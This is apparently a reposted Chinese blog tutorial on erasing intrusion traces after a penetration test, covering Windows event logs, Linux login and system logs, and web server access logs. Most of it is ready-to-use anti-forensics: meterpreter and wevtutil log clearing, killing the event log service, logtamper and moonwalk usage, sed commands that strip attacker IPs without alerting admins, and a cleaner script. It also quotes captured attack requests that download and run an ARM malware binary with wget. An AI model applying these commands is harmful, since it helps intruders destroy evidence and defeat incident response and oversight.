当前位置: 首页 > news >正文

清除入侵痕迹(winLinuxweb)

文章目录

  • 清除入侵痕迹
    • 一 Windows日志痕迹清除
    • 二 Linux日志痕迹清除
      • 2.1 常见Linux日志
      • 2.2 清除日志工具(logtamper)
      • 2.3 清除日志工具(moonwalk)
    • 三 Web日志痕迹清除
      • 3.1 手动命令清除(Linux环境为主)
        • 3.1.1 定位关键日志文件
        • 3.1.2 精准删除日志行
        • 3.1.3 清空整个日志文件(高风险操作)
      • 3.2 清理操作系统痕迹
      • 3.3 自动化脚本与工具
      • 3.4 专用工具

清除入侵痕迹

  • 主机上发生的每项操作都会以日志的形式记录下来,用于跟踪事件和方便问责,如果渗透测试人员在被入侵的主机上执行任何操作,也会生成日志。这些日志对网络安全分析师和时间响应人员非常有用,他们可以从被入侵的系统中收集证据,以确定网络攻击期间发生的事情。

  • 作为渗透测试人员,必须像真正的黑客一样隐蔽,以测试组织的威胁检测系统。在渗透测试结束时,需要删除任何配置、系统更改、恶意软件、后门以及在系统和网络上放置的任何其他东西。因此,在渗透测试的每个阶段,都要跟踪任何系统修改,以及是否在被入侵的设备上放置自定义恶意软件,确保离开组织网络前清除所有内容。

  • 通常攻防渗透的最后阶段是痕迹清除,它是为了躲避反追踪和隐藏攻击的一种方式,相关技术内容涉及系统、网络、应用日志的删除、混淆和修改,数据恢复技术对抗,系统还原机制利用,安全审计设备的干扰和停用等,本章将介绍常见的痕迹清除方法。

一 Windows日志痕迹清除

  • Windows的日志文件主要有三类,分别是系统日志(SysEvent)、应用程序日志(AppEvent)和安全日志(SecEvent),可以通过单击“开始"按钮打开"开始"菜单,单击“程序"选项中的“管理工具"选项,打开"计算机管理”,单击“系统工具"选项中的"事件查看器”查看并清除,在注册表上的位置为"HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog"。
  • 系统日志:记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃及数据。在Vista/Win7/Win8/Win10/Server 2008/Server 2012系统中的默认位置为"C:WINDOWS\system32\winevt\Logs\System.evtx”。
  • 应用程序日志:包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件。在Vista/Win7/Win8/Win10/Server 2008/Server 2012系统中的默认位置为"C:WINDOWS\system32\winevt\Logs\Application.evtx"。
  • 安全日志:记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、账号管理、策略变
    更和系统事件。安全日志也是调查取证中最常用到的日志。在Vista/Win7/Win8/Win10/Server 2008/Server 2012系统中的默认位置为"C:IWINDOWS\system32\winevtLogs\Security.evtx"。
  • 痕迹清除最简单的方式也就是直接将日志文件删除。
  1. 可以通过msf的meterpreter的clearev或其他命令命令清除window系统、应用和安全日志。
    meterpreter> clearev
    meterpreter> run event_manager -i #显示有关系统的事件日志及配置信息
    meterpreter> run event_manager -c System # 清除系统日志
    meterpreter> run event_manager -c # 清除所有日志信息
    
  2. wevtutil系统工具:查找有关事件日志和发布者的详细信息。使用此命令安装和卸载事件清单、导出、存档和清除日志。
    #统计日志列表,查询所有日志信息,包含时间,数目
    wevtutil.exe gli Application
    # 查看指定类别的日志内容
    wevtutil qe /f:text Application
    # 删除该类日志所有内容
    wevtutil cl Application
    # 获取最近十条日志
    wevtutil.exe qe Security /f:text /rd:true /c:10
    
  • 但清除完会留下1012或104的系统日志。
  1. 通过meterpreter中,终端中执行命令,关闭日志服务。
    meterpreter>load powershell
    meterpreter>powershell_shell
    #找出日志进程的PID    
    PS>Get-WmiObject -Class win32\_service -Filter "name = 'eventlog'"    
    #kill掉对应PID,可能后续某个时刻再次重启
    taskkill /F /PID 1792     
    
  2. 通过Cobalt Strike EventLogMaster插件清除Windows日志。进入Beacon后可以通过EventLogMaster搜索或者清除日志。以清除日志为例,选择"Clearn"清除日志,然后可以根据事件ID和IP等清除日志,也可以选择"ClearmAll"清除所有。
    在这里插入图片描述
  3. Cobalt Strike谢公子插件实现日志清除。

二 Linux日志痕迹清除

2.1 常见Linux日志

  • Linux 系统的日志是系统管理、故障排查和安全审计的基石。它们记录了从内核事件到用户操作的几乎所有活动。理解这些日志的位置、内容和查看方法是每个 Linux 用户和系统管理员的必备技能。

用户个人活动日志:位于用户的主目录下,记录了单个用户在 Shell 环境和 Vim 编辑器中的操作。

日志文件描述常用查看命令
~/.bash_history记录当前用户在终端中执行过的命令历史。cat ~/.bash_history
~/.viminfo记录 Vim 编辑器的操作历史,包括打开过的文件、搜索过的字符串、命令历史等。cat ~/.viminfo

  • 系统核心与应用日志 (位于 /var/log) 是 Linux 系统日志的默认存储目录,包含了系统、服务和应用程序产生的各种日志文件。

  • 系统与核心服务日志

日志文件描述常用查看命令
/var/log/messages
/var/log/syslog
系统主日志文件。记录全局系统信息,包括内核、网络、服务启动/停止等。在 Debian/Ubuntu 系统中通常是 syslog,在 CentOS/RHEL 中是 messagestail -f /var/log/syslog
less /var/log/messages
/var/log/auth.log
/var/log/secure
安全与认证日志。极其重要!记录所有与用户认证相关的事件,如成功/失败的登录、sudo 操作、SSH 连接等。auth.log 常见于 Debian/Ubuntu,secure 常见于 CentOS/RHEL。tail -f /var/log/auth.log
grep "Failed password" /var/log/secure
/var/log/kern.log内核日志。专门记录内核相关的消息,如驱动加载、硬件错误、I/O 问题等。dmesg (查看内核环形缓冲区)
less /var/log/kern.log
/var/log/dmesgdmesg 命令输出的静态文件,记录了系统自启动过程中的内核消息。cat /var/log/dmesg
/var/log/boot.log系统启动日志。记录系统引导过程中各个服务的启动状态(成功或失败)。cat /var/log/boot.log
/var/log/daemon.log系统守护进程日志。记录后台运行的各种系统守护进程(如 sshd, cron 等)的活动。tail -f /var/log/daemon.log
/var/log/cron计划任务日志。记录 cron 守护进程的执行情况,包括任务何时被触发、执行结果或错误信息。tail -f /var/log/cron
  • 用户登录与活动日志
    这类日志通常不是纯文本文件,需要使用特定命令来查看。

日志文件描述常用查看命令
/var/log/lastlog记录所有用户最近一次成功登录的时间。使用 lastlog 命令查看。lastlog
/var/log/wtmp记录所有用户的登录、登出、重启、关机事件。使用 last 命令查看。last
last reboot
/var/log/btmp记录所有失败的登录尝试。使用 lastb 命令查看,是安全审计的重要来源。lastb
/var/log/utmp记录当前登录的用户信息。使用 w, who, users 等命令查看。w
who
/var/log/faillog记录用户登录失败的次数。使用 faillog 命令查看和管理。faillog -a
  • 应用程序与包管理日志
日志文件描述常用查看命令
/var/log/dpkg.logDebian/Ubuntu 系统的软件包管理日志。记录通过 aptdpkg 安装、升级、删除软件包的详细信息。tail -f /var/log/dpkg.log
/var/log/yum.logCentOS/RHEL/Fedora 系统的软件包管理日志。记录通过 yumdnf 安装、更新、删除软件包的操作。cat /var/log/yum.log
/var/log/mail.log
/var/log/maillog
邮件服务器日志。记录 Postfix、Sendmail 等 MTA(邮件传输代理)的收发邮件活动。tail -f /var/log/mail.log
/var/log/apache2/
/var/log/httpd/
Web 服务器日志目录。包含访问日志 (access.log) 和错误日志 (error.log)。tail -f /var/log/apache2/access.log
/var/log/mysql/
/var/log/mysqld.log
MySQL 数据库日志。包括错误日志、慢查询日志、二进制日志等。tail -f /var/log/mysql/error.log

  • 日志管理工具:直接查看日志文件虽然直接,但现代 Linux 系统通常使用 systemd,其核心组件 journald 提供了更强大的日志管理功能。
  1. journalctl - systemd 日志查看器
  • journalctl 可以查询和显示由 journald 收集的所有日志(包括内核日志、系统服务日志等),功能非常强大。
命令示例描述
journalctl查看所有日志(分页显示)。
journalctl -f实时跟踪日志尾部(类似 tail -f)。
journalctl -u ssh.service查看指定服务(如 SSH)的日志。
journalctl -p err -b查看本次启动以来的所有错误(error)级别日志。
journalctl --since "2025-10-26 20:00:00"查看指定时间之后的日志。
journalctl -xe查看最近的日志,并显示详细的解释性信息(常用于排错)。
  1. logrotate - 日志轮转工具
    日志文件会不断增长,最终可能占满磁盘空间。logrotate 是一个用于自动管理、压缩、删除和轮转日志文件的工具。
  • 配置文件位置/etc/logrotate.conf (主配置) 和 /etc/logrotate.d/ (各服务配置)。
  • 工作原理logrotate 通常由 cron 每天定时执行,根据配置文件中的规则(如日志大小、保存天数)来处理日志。

2.2 清除日志工具(logtamper)

  • 重定向命令清除日志
cat /dev/null > /var/log/messages
  • logtamper工具可以清除针对utmp、wtmp、lastlog的日志
  • 下载地址:https://github.com/re4lity/logtamper
  1. 躲避管理员查看
    python logtamper.py -m 1 -u 用户名 -i 攻击ip
    
  2. 清除指定IP登录日志
    python logtamper.py -m 2 -u 用户名 -i 攻击ip
    
  3. 修改上次登录时间地点
    python logtamper.py -m 3 -u 用户名 -i 攻击ip -t tty1 -d 2020:05:28:10:11:12
    

2.3 清除日志工具(moonwalk)

  • moonwalk:在 Linux 利用/渗透测试期间消除系统日志和文件系统时间戳上的痕迹以隐藏踪迹。

  • moonwalk 是一个 400 KB 的单二进制可执行文件,可以在渗透测试 Unix 机器时清除您的痕迹。它会在利用前保存系统日志的状态,并在利用后恢复该状态,包括文件系统时间戳,从而不留任何幽灵在 Shell 中的痕迹。

  • 一旦获取目标 Unix 机器的 shell,启动一个 moonwalk 会话:

    $ moonwalk start
    
  • 在进行侦察/漏洞利用并操作任何文件时,请预先获取一个文件的时间戳命令,以便在访问/修改完该文件后,能将其恢复原样:

    $ moonwalk get ~/.bash_history
    
  • 在漏洞利用之后,清除痕迹并关闭会话:

    $ moonwalk finish
    

三 Web日志痕迹清除

  • 在渗透测试中,我们会在Web服务器、应用服务器、数据库甚至WAF(Web应用防火墙)上留下大量痕迹。清除这些痕迹的核心目标是:让系统恢复到测试前的“干净”状态,或至少移除所有能直接关联到本次测试活动的证据。

  • HTTP恶意请求日志展示

168.205.83.154 - - [24/Oct/2025:04:26:20 +0800] "GET /shell?cd+/tmp;rm+-rf+*;wget+23.177.185.39/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4 HTTP/1.1" 403 23694 "-" "r00ts3c-owned-you" "-"
173.3.128.176 - - [25/Oct/2025:02:53:23 +0800] "GET /shell?cd+/tmp;rm+-rf+*;wget+23.177.185.39/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4 HTTP/1.1" 403 23694 "-" "r00ts3c-owned-you" "-"
103.208.231.172 - - [25/Oct/2025:07:14:59 +0800] "POST /GponForm/diag_Form?images/ HTTP/1.1" 403 16922 "-" "Hello, World" "-"
222.74.183.238 - - [26/Oct/2025:02:28:04 +0800] "GET /shell?cd+/tmp;rm+-rf+*;wget+45.90.12.71/jaws;sh+/tmp/jaws HTTP/1.1" 403 23694 "-" "Hello, world" "-"
218.91.153.60 - - [26/Oct/2025:11:33:04 +0800] "POST /GponForm/diag_Form?images/ HTTP/1.1" 403 16922 "-" "Hello, World" "-"
175.107.1.52 - - [27/Oct/2025:12:01:59 +0800] "POST /GponForm/diag_Form?images/ HTTP/1.1" 403 16922 "-" "Hello, World" "-"

日志中记录了多起来自不同IP的自动化攻击,这些攻击具有明显的模式。

  • 攻击模式一:下载并执行恶意脚本
    • 攻击IP: 168.205.83.154, 173.3.128.176
    • 攻击时间: 10月24日和25日
    • 攻击载荷 (URL解码后):
      GET /shell?cd /tmp;rm -rf *;wget 23.177.185.39/reaper/reap.arm4;chmod 777 /tmp/reap.arm4;sh /tmp/reap.arm4
      
    • User-Agent: r00ts3c-owned-you,一个具有挑衅性的、典型的黑客签名。
    • 攻击流程分析:
      1. 攻击者试图利用服务器上某个名为 /shell 的潜在漏洞(可能是一个未授权的命令执行接口)。
      2. 如果漏洞存在,它会执行一系列命令:
        • cd /tmp: 切换到临时目录。
        • rm -rf *: 清空 /tmp 目录,移除可能存在的竞争文件。
        • wget ...: 从 23.177.185.39 下载一个名为 reap.arm4 的文件。.arm4 后缀表明这是一个为 ARMv4 架构编译的恶意程序(通常用于物联网设备,如路由器、摄像头等)。
        • chmod 777: 给下载的文件添加执行权限。
        • sh /tmp/reap.arm4: 执行该恶意程序。
    • 结果: 所有这些请求均被服务器拒绝,返回 403 Forbidden。这表明服务器的安全配置(如Nginx规则或WAF)成功阻止了此次攻击。
  • 攻击模式二:GPON路由器漏洞利用
    • 攻击IP: 103.208.231.172, 218.91.153.60, 175.107.1.52
    • 攻击时间: 10月25日、26日、27日
    • 攻击载荷:
      POST /GponForm/diag_Form?images/
      
    • User-Agent: Hello, WorldHello, world,这是一种常见的、用于混淆视听的简单User-Agent。
    • 攻击流程分析:
      • 这是针对 GPON(千兆无源光网络)路由器 的一个已知远程代码执行漏洞(CVE-2018-10561/10562)。攻击者通过发送特制的POST请求,试图在设备上执行任意命令。
      • 即使这台服务器不是GPON路由器,攻击者也会在全球范围内扫描并尝试利用此漏洞,因为大量设备仍未打补丁。
    • 结果: 所有这些请求同样被服务器拒绝,返回 403 Forbidden

  • 核心思路
  1. 识别日志位置: 首先要搞清楚目标系统(Web服务器、框架、应用)的日志存放在哪里。
  2. 分析日志内容: 快速定位包含我们攻击特征(如Payload、IP、User-Agent)的日志条目。
  3. 精准清除: 删除特定的日志行,而不是粗暴地删除整个日志文件,以免引起管理员警觉。
  4. 掩盖踪迹: 修改日志时间、混淆IP或使用“白名单”流量进行覆盖。
  5. 清理元数据: 不要忘记操作系统本身记录的命令历史、登录日志等。

3.1 手动命令清除(Linux环境为主)

这是最基础也是最灵活的方式,适用于获取了Shell权限的场景。

3.1.1 定位关键日志文件

常见的Web服务器日志路径:

  • Nginx:
    • Access Log: /var/log/nginx/access.log
    • Error Log: /var/log/nginx/error.log
  • Apache:
    • Access Log: /var/log/apache2/access.log (Debian/Ubuntu) 或 /var/log/httpd/access_log (CentOS/RHEL)
    • Error Log: /var/log/apache2/error.log/var/log/httpd/error_log
  • IIS (Windows):
    • 通常位于 %SystemDrive%\inetpub\logs\LogFiles\,按日期分文件夹。
      框架或应用日志:
  • PHP-FPM: /var/log/php5-fpm.log/var/log/php7.x-fpm.log
  • Tomcat: $CATALINA_HOME/logs/catalina.out, localhost_access_log.yyyy-MM-dd.txt
  • Django/Flask: 通常在应用目录下,或由系统服务管理器(如systemd)的journald接管。
3.1.2 精准删除日志行

假设我们的攻击IP是 192.168.1.100,Payload包含 union select

使用 sed (流编辑器) - 首选工具 sed 可以在不打开文件的情况下进行原地编辑,非常隐蔽。

# 删除包含特定IP的所有行
sed -i '/192.168.1.100/d' /var/log/nginx/access.log
# 删除包含特定Payload的所有行
sed -i '/union select/d' /var/log/nginx/access.log
# 组合条件:删除同时包含IP和Payload的行
sed -i '/192.168.1.100.*union select/d' /var/log/nginx/access.log
# 更高级:删除特定时间段的日志(例如,下午3点到4点之间)
# 这需要根据日志格式调整正则表达式
sed -i '/28\/Oct\/2025:15:[0-5][0-9]:/d' /var/log/nginx/access.log
  • -i 参数表示直接修改文件。
  • d 命令表示删除匹配的行。
  • /pattern/ 是要匹配的正则表达式。

使用 grep + 重定向 这种方式会创建一个新文件,然后替换旧文件,操作稍显繁琐,但逻辑清晰。

# 先过滤掉不想要的行,保存到临时文件
grep -v '192.168.1.100' /var/log/nginx/access.log > /tmp/temp_access.log
# 用临时文件覆盖原文件
mv /tmp/temp_access.log /var/log/nginx/access.log
  • -v 参数表示反向匹配,即只输出不包含匹配项的行。
3.1.3 清空整个日志文件(高风险操作)

如果日志量巨大,或者测试活动非常集中,有时会选择清空日志。但这极易被发现。

# 最简单粗暴的方式,文件大小变为0
> /var/log/nginx/access.log
# 或者使用 cat /dev/null
cat /dev/null > /var/log/nginx/access.log
# 或者使用 true 命令重定向
true > /var/log/nginx/access.log

3.2 清理操作系统痕迹

  • 命令历史 (~/.bash_history)
    # 清空当前会话和历史
    history -c
    # 或者直接删除文件
    rm ~/.bash_history
    # 更隐蔽的方式:编辑历史文件,删除敏感命令
    sed -i '/sed -i/d' ~/.bash_history # 删除自己执行sed的痕迹
    
  • 系统登录日志 (/var/log/wtmp, /var/log/lastlog)
    # 清除当前用户的登录记录
    > /var/log/wtmp
    > /var/log/lastlog
    # 或者使用特定工具如 `zapper` (见下文)
    
  • SSH登录密钥记录 (~/.ssh/known_hosts)
    # 删除连接目标服务器的记录
    sed -i '/<target_ip>/d' ~/.ssh/known_hosts
    

3.3 自动化脚本与工具

  • 手动操作效率低且容易出错。渗透测试人员通常会使用脚本或专用工具。

  • 自定义Shell脚本

  • 可以编写一个简单的Bash脚本,接收IP地址等参数,自动清理多个日志文件。

    #!/bin/bash
    # cleaner.sh - A simple log cleaner script
    ATTACKER_IP="192.168.1.100"
    LOG_FILES=("/var/log/nginx/access.log""/var/log/nginx/error.log""/var/log/apache2/access.log""/var/log/auth.log" # 系统认证日志
    )
    echo "[+] Starting log cleaning for IP: $ATTACKER_IP"
    for log_file in "${LOG_FILES[@]}"; doif [ -f "$log_file" ]; thenecho "[+] Processing $log_file..."# 创建备份(可选,但负责任的测试应该做)cp "$log_file" "${log_file}.bak"# 执行删除sed -i "/$ATTACKER_IP/d" "$log_file"echo "[+] Cleaned entries from $log_file"elseecho "[-] Log file $log_file not found."fi
    done
    echo "[+] Cleaning command history..."
    history -c
    echo "[+] Log cleaning complete."
    

3.4 专用工具

这些工具通常集成在Metasploit、Empire、Cobalt Strike等框架中,或者作为独立的工具存在。

  • Metasploit Framework:
    • post/linux/manage/clear_logs: 一个标准的后渗透模块,可以自动清除常见的Linux系统日志(如/var/log/messages, /var/log/secure, wtmp, utmp等)。
    • post/multi/gather/shell_to_meterpreter: 在升级Shell时,有些模块会提供清理选项。
  • Linux Rootkit / Log Erasers:
    • Zapper: 一个经典的日志清除工具,可以隐藏用户登录记录(utmp, wtmp, lastlog)。
    • stealth: 这类工具通常作为rootkit的一部分,不仅能删除日志,还能实时地、动态地隐藏特定用户、进程或网络连接,让它们在who, ps, netstat等命令中不可见。这已经超出了简单的“清除”范畴,进入了“隐藏”的领域。
  • Windows下的工具:
    • PowerSploit: 中的 Invoke-EventLogCleaner 函数可以用来清除Windows事件日志。
    • Empire / Cobalt Strike: 内置了清除事件日志的模块,如 cleareventlog 命令,可以一键清空Application, Security, System等日志。

http://www.dtcms.com/a/540607.html

相关文章:

  • 找设计师的网站淘宝客 网站建设
  • 第六部分:VTK进阶(第175章 并行 IO管线与检查点)
  • 河南海绵城市建设网站wordpress中文版书籍
  • Opencv(三): 二值化
  • GitHub使用技巧——上传本地项目
  • 网站建设用途一个旅游网站建设需求分析
  • 甜品网站网页设计代码网上免费推广
  • 渗透测试工具 windows上搭建vmware kali-linux
  • ecstore等产品开启缓存-后台及前台不能登录原因-setcookie+session问题
  • 哨兵原理、Redis分片、Redis数据结构、内存回收、缓存问题以及分布式事务相关内容(CAP、BASE、AT脏写及其解决、TCC、最大努力通知)
  • Windows图标修复--缓存重建教程
  • 服务器上用Slurm 管理训练bash 脚本任务,申明使用GPU
  • 上海小程序网站开发公司wordpress国外主题下载地址
  • 新城镇建设官方网站kali建设网站
  • 便携式el检测仪:确保光伏组件的质量与性能稳定
  • 英一2015年真题学习笔记
  • Docker 部署银河麒麟(Kylin Linux)全流程教程
  • GPT、DeepSeek等大语言模型应用
  • 大语言模型基础LLM:Transformer和大模型
  • 本地用docker开发的php 程序如何部署到阿里云的ecs上
  • html css js网页制作成品——一念关山HTML+CSS网页设计(5页)附源码
  • BuildingAI二开 Coze套餐管理页面PRD
  • 加强学院网站的建设与管理一个完整的外贸流程
  • 大屏开发,在线歌词舆情分析系统demo,基于python,flask,web,echart,nlp,自然语言数据库mysql。
  • 网站后台上传缩略图高端网站开发哪家强
  • SAP GUI 800进行品牌化设置
  • unity打包安卓设置为横屏
  • final是干嘛的
  • 马赛克数据增强与 Tensor、TensorFlow 区别学习总结
  • 【Node】win 10 / win 11:node.js 长期维护版下载、安装与 npm 配置